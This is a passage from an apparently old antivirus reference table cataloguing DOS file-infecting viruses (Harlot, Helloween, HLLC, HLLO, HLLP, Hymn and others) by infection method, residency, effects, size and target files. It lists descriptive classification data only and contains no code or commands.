ºGrower.267 ¦FIND¦ - ¦ - ¦267 ¦ .C ¦ s ¦ L+? º
ºGrune.1241 ¦INT ¦MCB ¦ HV ¦1241 ¦ C ¦ e ¦ L º
ºGunia.727 ¦FIND¦ - ¦ H ¦727 ¦ .E * ¦ e ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part H
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºHarlot.738 ¦INT ¦MCB ¦ - ¦738 ¦ C * ¦ e ¦ L º
ºHarlot.5632 (2)¦INT ¦MCB ¦ VEr¦5632 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºHarmWare.3516 ¦INT ¦UMB ¦ V ¦3516 ¦ CE * ¦ s ¦ 0, pack+insert º
ºHarmWare.3716 ¦INT ¦UMB ¦ V ¦3716 ¦ CE * ¦ s ¦ 0, pack+insert º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºHarrier.4602 ¦INT ¦MCB ¦ VEr¦4602 ¦ .C.E&CE* ¦ e ¦ L+? º
ºHarrier.14058 ¦INT ¦KEEP¦ HV ¦14058¦ .C.E&CE* ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºHeadache.269 ¦INT ¦MCB ¦ - ¦269 ¦ .C ¦ s ¦ L º
ºHeadache.624 ¦INT ¦MCB ¦ - ¦269 ¦ .C ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºHelloUser.402 ¦FIND¦ - ¦ - ¦402 ¦ .C * ¦ e ¦ L º
ºHelloUser.545 ¦FIND¦ - ¦ V ¦545 ¦ .C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºHelloween.1063 ¦INT ¦MCB ¦ - ¦1063 ¦ E * ¦ e ¦ L º
ºHelloween.1182 ¦INT ¦MCB ¦ Ch ¦1182 ¦ CEO* ¦ e ¦ L º
ºHelloween.1160 ¦INT ¦MCB ¦ V ¦1160 ¦ CE ¦ e ¦ L º
ºHelloween.1227 ¦INT ¦MCB ¦ Ch ¦1227 ¦ CE * ¦ e ¦ L º
ºHelloween.1288 ¦INT ¦MCB ¦ Ch ¦1288 ¦ CE * ¦ e ¦ L º
ºHelloween.1376(2INT ¦MCB ¦ V ¦1376 ¦ CE * ¦ e ¦ L º
ºHelloween.1384 ¦INT ¦MCB ¦ V ¦1384 ¦ CE * ¦ e ¦ L º
ºHelloween.1447 ¦INT ¦MCB ¦ V ¦1447 ¦ CE * ¦ e ¦ L º
ºHelloween.1839 ¦INT ¦MCB ¦ V ¦1839 ¦ CE * ¦ e ¦ L º
ºHelloween.1888 ¦INT ¦MCB ¦ V ¦1888 ¦ CE * ¦ e ¦ L º
ºHelloween.2470 ¦INT ¦MCB ¦ VEr¦2470 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºHero.394 ¦INT ¦INTB¦ V ¦394 ¦ EO ¦ e ¦ L º
ºHero.506 ¦INT ¦INTB¦ V ¦506 ¦ CEO ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºHH&H.4087 ¦INT ¦MCB ¦ V ¦4087 ¦ .C * ¦ e ¦ L º
ºHH&H.4091 ¦INT ¦MCB ¦ V ¦4091 ¦ .C * ¦ e ¦ L º
ºHH&H.4093 ¦INT ¦MCB ¦ V ¦4093 ¦ .C * ¦ e ¦ L º
ºHH&H.4115 ¦INT ¦MCB ¦ V ¦4115 ¦ .C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºHi.460 ¦INT ¦MCB ¦ - ¦460 ¦ E * ¦ e ¦ L º
ºHi.802 ¦INT ¦MCB ¦ HCh¦802 ¦ E * ¦ e ¦ L º
ºHi.892 ¦INT ¦MCB ¦ V ¦892 ¦ E * ¦ e ¦ L º
ºHi.895 ¦INT ¦MCB ¦ S ¦895 ¦ E * ¦ e ¦ L º
ºHi.924 ¦INFI¦MCB ¦ V ¦924 ¦ .E&E* ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºHitchcock.1238 ¦INT ¦MCB ¦ M ¦1238 ¦ C ¦ s ¦ L º
ºHitchcock.1247 ¦INT ¦MCB ¦ M ¦1247 ¦ C ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºHLLC.4505 ¦FIND¦ - ¦ - ¦4045 ¦ .E ¦ s ¦ companion º
ºHLLC.5000 ¦FIND¦ - ¦ - ¦5000 ¦ .E * ¦ s ¦ companion º
ºHLLC.5808 ¦FIND¦ - ¦ - ¦5808 ¦ .E ¦ s ¦ companion º
ºHLLC.6888 ¦FIND¦ - ¦ - ¦6888 ¦ .E ¦ s ¦ companion º
ºHLLC.6752 ¦FIND¦ - ¦ - ¦6752 ¦ .E ¦ s ¦ companion º
ºHLLC.8736 ¦FIND¦ - ¦ - ¦8736 ¦ .E ¦ s ¦ companion º
º.AIDS.8064 ¦FIND¦ - ¦ V ¦8064 ¦ .E * ¦ s ¦ companion º
º.Ansjovis ¦FIND¦ - ¦ V ¦12695¦ .E ¦ s ¦ companion º
º.April1st ¦FIND¦ - ¦ V ¦27825¦ .E * ¦ s ¦ companion º
º.Bolek ¦FIND¦ - ¦ V ¦8096 ¦ .E * ¦ s ¦ companion º
º.Chainik ¦FIND¦ - ¦ HVS¦12880¦ .E * ¦ s ¦ companion º
º.CP ¦FIND¦ - ¦ VS ¦7508 ¦ .E * ¦ s ¦ companion º
º.Delme ¦FIND¦ - ¦ V ¦8086 ¦ .C.E * ¦ s ¦ companion º
º.Dope.4870 ¦FIND¦ - ¦ - ¦4870 ¦ .E * ¦ s ¦ companion º
º.Dope.5219 ¦FIND¦ - ¦ - ¦5219 ¦ .E * ¦ s ¦ companion º
º.Dosinfo ¦FIND¦ - ¦ HV ¦52480¦ .B * ¦ s ¦ companion º
º.Enrico ¦FIND¦ - ¦ H ¦ ? ¦ .E ¦ s ¦ companion º
º.Halley ¦FIND¦ - ¦ - ¦7856 ¦ .E * ¦ s ¦ companion º
º.Hambre ¦FIND¦ - ¦ H ¦12573¦ .E * ¦ s ¦ companion º
º.Idomoshe ¦FIND¦ - ¦ V ¦6896 ¦ .E ¦ s ¦ companion º
º.Lab5 ¦FIND¦ - ¦ H ¦15856¦ .E * ¦ s ¦ companion º
º.Mimicry ¦FIND¦ - ¦ - ¦ ? ¦ .C.E * ¦ s ¦ companion º
º.Murmansk ¦FIND¦ - ¦ V ¦13277¦ .E * ¦ s ¦ companion º
º.Pokusny ¦FIND¦ - ¦ HV ¦21603¦ .E * ¦ s ¦ companion º
º.Rider ¦FIND¦ - ¦ V ¦4094 ¦ .E ¦ s ¦ companion º
º.Quirk ¦FIND¦ - ¦ - ¦9977 ¦ .E ¦ s ¦ companion º
º.Runme ¦FIND¦ - ¦ HV ¦27840¦CONFIG.SYS*¦ s ¦ companion º
º.Slam ¦FIND¦ - ¦ HV ¦8176 ¦ .E ¦ s ¦ companion º
º.Sounds ¦FIND¦ - ¦ - ¦6592 ¦ .E * ¦ s ¦ companion º
º.Sputnic ¦FIND¦ - ¦ - ¦16622¦ .E * ¦ s ¦ companion º
º.Srm ¦FIND¦ - ¦ - ¦16052¦ .E ¦ s ¦ companion º
º.Vs&W.3966 ¦FIND¦ - ¦ V ¦3966 ¦ .E * ¦ s ¦ companion º
º.Vs&W.5936 ¦FIND¦ - ¦ V ¦5936 ¦ .E * ¦ s ¦ companion º
º.Unvisible (2)¦FIND¦ - ¦ V ¦14640¦ .E * ¦ s ¦ companion º
º.Uri ¦FIND¦ - ¦ - ¦5616 ¦ .E * ¦ s ¦ companion º
º.Worm.16850 ¦FIND¦ - ¦ - ¦16850¦ .E ¦ s ¦ companion º
º.Worm.17690 (2)¦FIND¦ - ¦ V ¦17690¦ .C.E ¦ s ¦ companion º
Ç Ä Ä Ä Ä Ä Ä ÄÂÄ Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºHLLO.3522 ¦FIND¦ - ¦ H ¦3522 ¦ .C.E ¦ s ¦ L, overwrite º
ºHLLO.3855 ¦FIND¦ - ¦ H ¦3855 ¦ .C.E ¦ s ¦ L, overwrite º
ºHLLO.4032 ¦FIND¦ - ¦ H ¦4032 ¦ .C.E ¦ s ¦ L, overwrite º
ºHLLO.6144 ¦FIND¦ - ¦ HV ¦6144 ¦ .E ¦ s ¦ L, overwrite º
º.AIDS.13952 (2)¦FIND¦ - ¦ H ¦13952¦ .C * ¦ s ¦ L, overwrite º
º.CVirus.4316 ¦FIND¦ - ¦ HV ¦4316 ¦ .C.E ¦ s ¦ L, overwrite º
º.CVirus.4317 ¦FIND¦ - ¦ HV ¦4316 ¦ .C.E ¦ s ¦ L, overwrite º
º.CVirus.4736 ¦FIND¦ - ¦ HV ¦4736 ¦ .C.E ¦ s ¦ L, overwrite º
º.Destroy ¦FIND¦ - ¦ HV ¦4592 ¦ .C.E ¦ s ¦ L, overwrite º
º.DogWerks ¦FIND¦ - ¦ H ¦2951 ¦ .E ¦ s ¦ L, overwrite º
º.Hacks ¦FIND¦ - ¦ HV ¦7760 ¦ .E * ¦ s ¦ L, overwrite º
º.Harakiri ¦FIND¦ - ¦ HV ¦5488 ¦ .C.E ¦ s ¦ L, overwrite º
º.Joker.10000 ¦FIND¦ - ¦ HV ¦10000¦ .E * ¦ s ¦ L, overwrite º
º.Joker.11000 ¦FIND¦ - ¦ HV ¦11000¦ .E * ¦ s ¦ L, overwrite º
º.Kamikaze ¦FIND¦ - ¦ H ¦4033 ¦ .E * ¦ s ¦ L, overwrite º
º.Karma ¦FIND¦ - ¦ HV ¦2666 ¦ .C * ¦ s ¦ L, overwrite º
º.M&M ¦FIND¦ - ¦ HV ¦8803 ¦ .E * ¦ s ¦ L, overwrite º
º.Nazi ¦FIND¦ - ¦ H ¦4240 ¦ .E ¦ s ¦ L, overwrite º
º.Nman.4317 ¦FIND¦ - ¦ H ¦4317 ¦ .C.E ¦ s ¦ L, overwrite º
º.Nman.4734 ¦FIND¦ - ¦ H ¦4734 ¦ .C.E ¦ s ¦ L, overwrite º
º.Nman.4830 ¦FIND¦ - ¦ H ¦4830 ¦ .C.E ¦ s ¦ L, overwrite º
º.Nman.6286 ¦FIND¦ - ¦ H ¦6286 ¦ .C.E ¦ s ¦ L, overwrite º
º.Not ¦FIND¦ - ¦ H ¦17924¦ .E.C * ¦ s ¦ L, overwrite º
º.NumberOne (2)¦FIND¦ - ¦ HV ¦12032¦ .C ¦ s ¦ L, overwrite º
º.Oj ¦FIND¦ - ¦ H ¦15788¦ .E * ¦ s ¦ L, overwrite º
º.Ondra ¦FIND¦ - ¦ H ¦5000 ¦ .E ¦ s ¦ L, overwrite º
º.Plutonium ¦FIND¦ - ¦ H ¦12032¦ .C.E ¦ s ¦ L, overwrite º
º.Ruw ¦FIND¦ - ¦ H ¦6496 ¦ .C ¦ s ¦ L, overwrite º
º.ShadowGard ¦FIND¦ - ¦ HV ¦9482 ¦ .C.E * ¦ s ¦ L, overwrite º
º.Termit ¦FIND¦ - ¦ HV ¦3201 ¦ .E * ¦ s ¦ L, overwrite º
º.Tyst ¦FIND¦ - ¦ HV ¦3424 ¦ *.* * ¦ s ¦ L, overwrite º
º.Vm ¦FIND¦ - ¦ H ¦9999 ¦ .C.E * ¦ s ¦ L, overwrite º
º.Vs&W.3017 ¦FIND¦ - ¦ HV ¦3017 ¦ .E * ¦ s ¦ L, overwrite º
º.Vs&W.3836 ¦FIND¦ - ¦ HV ¦3836 ¦ .E * ¦ s ¦ L, overwrite º
º.Wonder (2)¦FIND¦ - ¦ H ¦7424 ¦ .E ¦ s ¦ L, overwrite º
º.Zalman ¦FIND¦ - ¦ H ¦5520 ¦ .E * ¦ s ¦ L, overwrite º
Ç Ä Ä Ä Ä Ä Ä ÄÂÄ Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºHLLP.3072 ¦FIND¦ - ¦ - ¦3072 ¦ .C.E ¦ s ¦ L+(0-128) º
ºHLLP.3678 ¦FIND¦ - ¦ - ¦3678 ¦ .C.E ¦ s ¦ L º
ºHLLP.3680 ¦FIND¦ - ¦ - ¦3680 ¦ .C.E ¦ s ¦ L º
ºHLLP.3779 ¦FIND¦ - ¦ - ¦3779 ¦ .E ¦ s ¦ L º
ºHLLP.3966 ¦FIND¦ - ¦ - ¦3966 ¦ .E ¦ s ¦ L º
ºHLLP.4395 ¦FIND¦ - ¦ - ¦4395 ¦ .C.E ¦ s ¦ L º
ºHLLP.4536 ¦FIND¦ - ¦ - ¦4536 ¦ .E ¦ s ¦ L º
ºHLLP.4641 ¦FIND¦ - ¦ H ¦4641 ¦ .E ¦ s ¦ L º
ºHLLP.4665 ¦FIND¦ - ¦ - ¦4665 ¦ .E ¦ s ¦ L º
ºHLLP.5872 ¦FIND¦ - ¦ - ¦5872 ¦ .E ¦ s ¦ L º
ºHLLP.5904 ¦FIND¦ - ¦ - ¦5904 ¦ .E ¦ s ¦ L º
ºHLLP.7508 ¦FIND¦ - ¦ - ¦7508 ¦ .E ¦ s ¦ L º
ºHLLP.7712 ¦FIND¦ - ¦ - ¦7712 ¦ .E ¦ s ¦ L º
ºHLLP.7808 (2)¦FIND¦ - ¦ V ¦7808 ¦ .C.E * ¦ s ¦ L º
ºHLLP.7940 ¦FIND¦ - ¦ - ¦7940 ¦ .C ¦ s ¦ L º
ºHLLP.8905 ¦FIND¦ - ¦ H ¦8905 ¦ .E * ¦ s ¦ L º
ºHLLP.9072 ¦FIND¦ - ¦ - ¦9072 ¦ .C.E ¦ s ¦ L º
ºHLLP.10304 ¦INT ¦KEEP¦ - ¦10304¦ .C.E ¦ s ¦ L º
ºHLLP.10460 ¦FIND¦ - ¦ V ¦10460¦ .C ¦ s ¦ L º
ºHLLP.14954 ¦FIND¦ - ¦ - ¦14954¦ .E ¦ s ¦ L º
ºHLLP.18078 ¦FIND¦ - ¦ - ¦18078¦ .E ¦ s ¦ L º
º.Acid ¦FIND¦ - ¦ HV ¦5016 ¦ .E * ¦ s ¦ L º
º.Aga ¦FIND¦ - ¦ V ¦6555 ¦ .C.E * ¦ s ¦ L º
º.Bdaagwa ¦FIND¦ - ¦ - ¦4984 ¦ .C.E ¦ s ¦ L º
º.BeginPas ¦FIND¦ - ¦ - ¦5257 ¦ *.PAS * ¦ i ¦ L º
º.BelGUT ¦FIND¦ - ¦ V ¦9840 ¦ .E ¦ s ¦ L º
º.Birthday.5824 ¦FIND¦ - ¦ V ¦5824 ¦ .C.E * ¦ s ¦ L º
º.Bishkek.3990 ¦FIND¦ - ¦ V ¦3990 ¦ .C.E * ¦ s ¦ L º
º.Bishkek.4170 ¦FIND¦ - ¦ HV ¦4170 ¦ .C.E * ¦ s ¦ L º
º.Bishkek.4240 ¦FIND¦ - ¦ HV ¦4240 ¦ .C.E * ¦ s ¦ L º
º.Bishop ¦FIND¦ - ¦ HV ¦15706¦ .C.E * ¦ s ¦ L º
º.Bobas ¦FIND¦ - ¦ V ¦5792 ¦ .E ¦ s ¦ L º
º.Ceib.4629 ¦FIND¦ - ¦ - ¦4629 ¦ .C.E * ¦ s ¦ L º
º.Ceib.5000 ¦FIND¦ - ¦ Ch ¦5000 ¦ .C.E * ¦ s ¦ L º
º.ChSU ¦FIND¦ - ¦ - ¦4484 ¦ .C.E.O * ¦ s ¦ L º
º.Cookie.7360 ¦FIND¦ - ¦ - ¦7360 ¦ .C.E ¦ s ¦ L º
º.Cookie.7329 ¦FIND¦ - ¦ V ¦7392 ¦ .C.E ¦ s ¦ L º
º.Daemon ¦FIND¦ - ¦ V ¦6424 ¦ .E * ¦ s ¦ L ++ º
º.Dekas ¦FIND¦ - ¦ H ¦7104 ¦ .E * ¦ s ¦ L º
º.Destroy ¦FIND¦ - ¦ H ¦7336 ¦ .C.E * ¦ s ¦ L º
º.Doggy.6202 ¦FIND¦ - ¦ V ¦6202 ¦ .E * ¦ s ¦ L+3333 º
º.Doggy.6606 ¦FIND¦ - ¦ V ¦6606 ¦ .E * ¦ s ¦ L º
º.Doggy.6667 ¦FIND¦ - ¦ V ¦6667 ¦ .E * ¦ s ¦ L º
º.Doggy.6685 ¦FIND¦ - ¦ V ¦6685 ¦ .E * ¦ s ¦ L º
º.Doggy.6686 ¦FIND¦ - ¦ V ¦6686 ¦ .E * ¦ s ¦ L º
º.Doggy.8421 ¦FIND¦ - ¦ V ¦8421 ¦ .E * ¦ s ¦ L º
º.Doggy.9535 ¦FIND¦ - ¦ V ¦9535 ¦ .E * ¦ s ¦ L º
º.Dupalec (2)¦FIND¦ - ¦ V ¦8192 ¦ .C.E ¦ s ¦ L º
º.Feci ¦FIND¦ - ¦ - ¦6000 ¦ .E * ¦ s ¦ L º
º.Finger ¦FIND¦ - ¦ V ¦9312 ¦ .E ¦ s ¦ L º
º.FireLove ¦FIND¦ - ¦ H ¦10217¦ .E * ¦ s ¦ L º
º.Forever ¦FIND¦ - ¦ VEr¦11652¦ .E * ¦ s ¦ L º
º.Forth ¦FIND¦ - ¦ - ¦4608 ¦ .E ¦ e ¦ L º
º.Frontier ¦FIND¦ - ¦ChEr¦9583 ¦ .E * ¦ s ¦ L º
º.Globe ¦FIND¦ - ¦ - ¦5150 ¦ .C.E ¦ s ¦ L º
º.Grosser ¦INT ¦KEEP¦ Er ¦6387 ¦ .E * ¦ s ¦ L º
º.Grunt ¦FIND¦ - ¦ V ¦6425 ¦ .E * ¦ s ¦ L º
º.Halloween ¦FIND¦ - ¦ - ¦10000¦ .C.E ¦ s ¦ L º
º.Happy ¦FIND¦ - ¦ V ¦6912 ¦ .E * ¦ s ¦ L º
º.Hello ¦FIND¦ - ¦ - ¦10000¦ .E * ¦ s ¦ L ++ º
º.Hooter.5000 ¦FIND¦ - ¦ - ¦5000 ¦ .C.E ¦ s ¦ L º
º.Inna.5260 ¦FIND¦ - ¦ V ¦5260 ¦ .E * ¦ s ¦ L º
º.Izvrat ¦INT ¦KEEP¦ - ¦5555 ¦ .C.E * ¦ s ¦ L º
º.Jojo ¦INT ¦KEEP¦ - ¦4416 ¦ CE * ¦ s ¦ L º
º.Kasf ¦FIND¦ - ¦ H ¦5400 ¦ .C.E * ¦ s ¦ L º
º.Kornik ¦FIND¦ - ¦ - ¦5658 ¦ .C.E ¦ s ¦ L º
º.Krile.5831 ¦FIND¦ - ¦ - ¦5831 ¦ .C.E * ¦ s ¦ L º
º.Krile.5880 ¦FIND¦ - ¦ - ¦5880 ¦ .C.E * ¦ s ¦ L º
º.Lcamtuf.3888 ¦FIND¦ - ¦ - ¦3888 ¦ .C.E ¦ s ¦ L º
º.Legs.6988 ¦FIND¦ - ¦ HV ¦6988 ¦ .C.E * ¦ s ¦ L º
º.Legs.7000 (2)¦FIND¦ - ¦ HV ¦7000 ¦ .C.E * ¦ s ¦ L º
º.Legs.7234 ¦FIND¦ - ¦ HV ¦7234 ¦ .C.E * ¦ s ¦ L º
º.Maniac ¦FIND¦ - ¦ Er ¦6144 ¦ .C.E * ¦ s ¦ L+(0-255) ++ º
º.Metal.7929 ¦FIND¦ - ¦ V ¦7929 ¦ .E * ¦ s ¦ L º
º.Metal.13040 ¦FIND¦ - ¦ V ¦13040¦ .E * ¦ s ¦ L º
º.Moonlight.4389¦FIND¦ - ¦ HV ¦4389 ¦ .E * ¦ s ¦ L º
º.Mu ¦FIND¦ - ¦ - ¦7336 ¦ .C.E ¦ s ¦ L º
º.Myxa ¦FIND¦ - ¦ V ¦7643 ¦ .C.E * ¦ s ¦ L º
º.Nazi.5045 ¦FIND¦ - ¦ - ¦5045 ¦ .E ¦ s ¦ L º
º.Nazi.6528 ¦FIND¦ - ¦ V ¦6528 ¦ .E * ¦ s ¦ L º
º.Nazi.8600 ¦FIND¦ - ¦ V ¦8600 ¦ .C.E * ¦ s ¦ L º
º.Nixda ¦FIND¦ - ¦ - ¦8928 ¦ .E ¦ s ¦ L º
º.NotFound.6176 ¦FIND¦ - ¦ - ¦6176 ¦ .C.E * ¦ s ¦ L º
º.Novokuz ¦FIND¦ - ¦ - ¦7000 ¦ .E * ¦ s ¦ L º
º.Oeba ¦FIND¦ - ¦ - ¦7000 ¦ .C.E ¦ s ¦ L º
º.Piss ¦FIND¦ - ¦ - ¦37931¦ .C.E ¦ s ¦ L º
º.RedAlert ¦FIND¦ - ¦ Er ¦10208¦ .E * ¦ s ¦ L º
º.RedArc ¦FIND¦ - ¦ - ¦44136¦ .C.E ¦ s ¦ L º
º.RNA.7296 ¦FIND¦ - ¦ - ¦7296 ¦ .C.E ¦ s ¦ L º
º.RNA.7408 ¦FIND¦ - ¦ - ¦7408 ¦ .C.E ¦ s ¦ L º
º.Rottom ¦FIND¦ - ¦ - ¦9223 ¦ .C.E * ¦ s ¦ L º
º.Rsw.5846 ¦FIND¦ - ¦ V ¦5846 ¦ .C.E * ¦ s ¦ L º
º.Rsw.8304 ¦FIND¦ - ¦ V ¦8304 ¦ .C.E * ¦ s ¦ L º
º.Sarka ¦FIND¦ - ¦ HV ¦7720 ¦ .E * ¦ s ¦ L º
º.Satyricon ¦FIND¦ * ¦ V ¦7840 ¦ .E * ¦ s ¦ L º
º.Sauron ¦FIND¦ - ¦ - ¦4568 ¦ .E ¦ s ¦ L º
º.Saw ¦FIND¦ - ¦ - ¦6274 ¦ .C.E ¦ s ¦ L º
º.Taras ¦FIND¦ - ¦ - ¦4884 ¦ .C.E ¦ s ¦ L º
º.Ukazna ¦FIND¦ - ¦ HV ¦17414¦ .C.E ¦ s ¦ L º
º.Unsteady (2)¦FIND¦ - ¦ HV ¦5667 ¦ .C.E * ¦ s ¦ L º
º.UPI ¦FIND¦ - ¦ H ¦4482 ¦ .C.E * ¦ s ¦ L º
º.Viper.7792 ¦FIND¦ - ¦ - ¦7792 ¦ .C.E * ¦ s ¦ L º
º.VirKid ¦FIND¦ - ¦ - ¦4793 ¦ .E ¦ s ¦ L º
º.Vova.8896 ¦FIND¦ - ¦ - ¦8896 ¦ .C ¦ s ¦ L º
º.Vova.9904 ¦FIND¦ - ¦ - ¦9904 ¦ .C ¦ s ¦ L º
º.Vova.10448 ¦FIND¦ - ¦ HS ¦10448¦ .C.E&E* ¦ s ¦ L º
º.Vova.10896 ¦FIND¦ - ¦ HS ¦10896¦ .C.E * ¦ s ¦ L º
º.Vova.10960 ¦FIND¦ - ¦ HS ¦10960¦ .C.E&E* ¦ s ¦ L º
º.Vova.11312 ¦FIND¦ - ¦ HS ¦11312¦ .C.E * ¦ s ¦ L º
º.Vova.12240 ¦FIND¦ - ¦ HS ¦12240¦ .C.E * ¦ s ¦ L º
º.Vova.12560 (2)¦FIND¦ - ¦ H ¦12560¦ .C.E * ¦ s ¦ L º
º.Vova.12704 ¦FIND¦ - ¦ H ¦12704¦ .C.E * ¦ s ¦ L º
º.Vova.13168 ¦FIND¦ - ¦ H ¦13168¦ .C.E * ¦ s ¦ L º
º.Vs&W.5062 ¦FIND¦ - ¦ HV ¦5062 ¦ .E * ¦ s ¦ L+1 º
º.Vs&W.5175 ¦FIND¦ - ¦ HV ¦5175 ¦ .E * ¦ s ¦ L+1 º
º.WarHeader ¦FIND¦ - ¦ V ¦7263 ¦ .C.E ¦ s ¦ L º
º.Wbrb ¦FIND¦ - ¦ - ¦6665 ¦ .E ¦ s ¦ L º
º.Weed.4080 (2)¦FIND¦ - ¦ HEr¦4080 ¦ .C.E * ¦ s ¦ L º
º.Weed.5850 (5)¦FIND¦ - ¦HVEr¦5850 ¦ .C.E * ¦ s ¦ L º
º.Wood ¦FIND¦ - ¦ - ¦3263 ¦ .C.E ¦ s ¦ L º
º.Xenia ¦FIND¦ - ¦ HV ¦5844 ¦ .E * ¦ s ¦ L º
º.Zenit ¦FIND¦ - ¦ V ¦8688 ¦ .E * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºHorsa.1185 ¦FIND¦ - ¦ - ¦1185 ¦*mand.com *¦ e ¦ L+p º
ºHorsa.1230 ¦FIND¦ - ¦ - ¦1230 ¦*mand.com *¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºHorse.1594 ¦INT ¦MCB ¦ - ¦1594 ¦ .C.E&E * ¦ e ¦ L, COMMAND.COM-0 º
ºHorse.1776 ¦INT ¦MCB ¦ V ¦1776 ¦ .C.E&E * ¦ e ¦ L, COMMAND.COM-0 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºHydra.1162 ¦INT ¦MCB ¦ V ¦1162 ¦ .E&E * ¦ e ¦ L+p º
ºHydra.1649 ¦INT ¦MCB ¦ V ¦1649 ¦ .E&E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºHymn.1865 ¦INT ¦MCB ¦ HVS¦1865 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
ºHymn.1962 ¦INT ¦MCB ¦ HVS¦1962 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
ºHymn.2144 ¦INT ¦MCB ¦ HVS¦2144 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
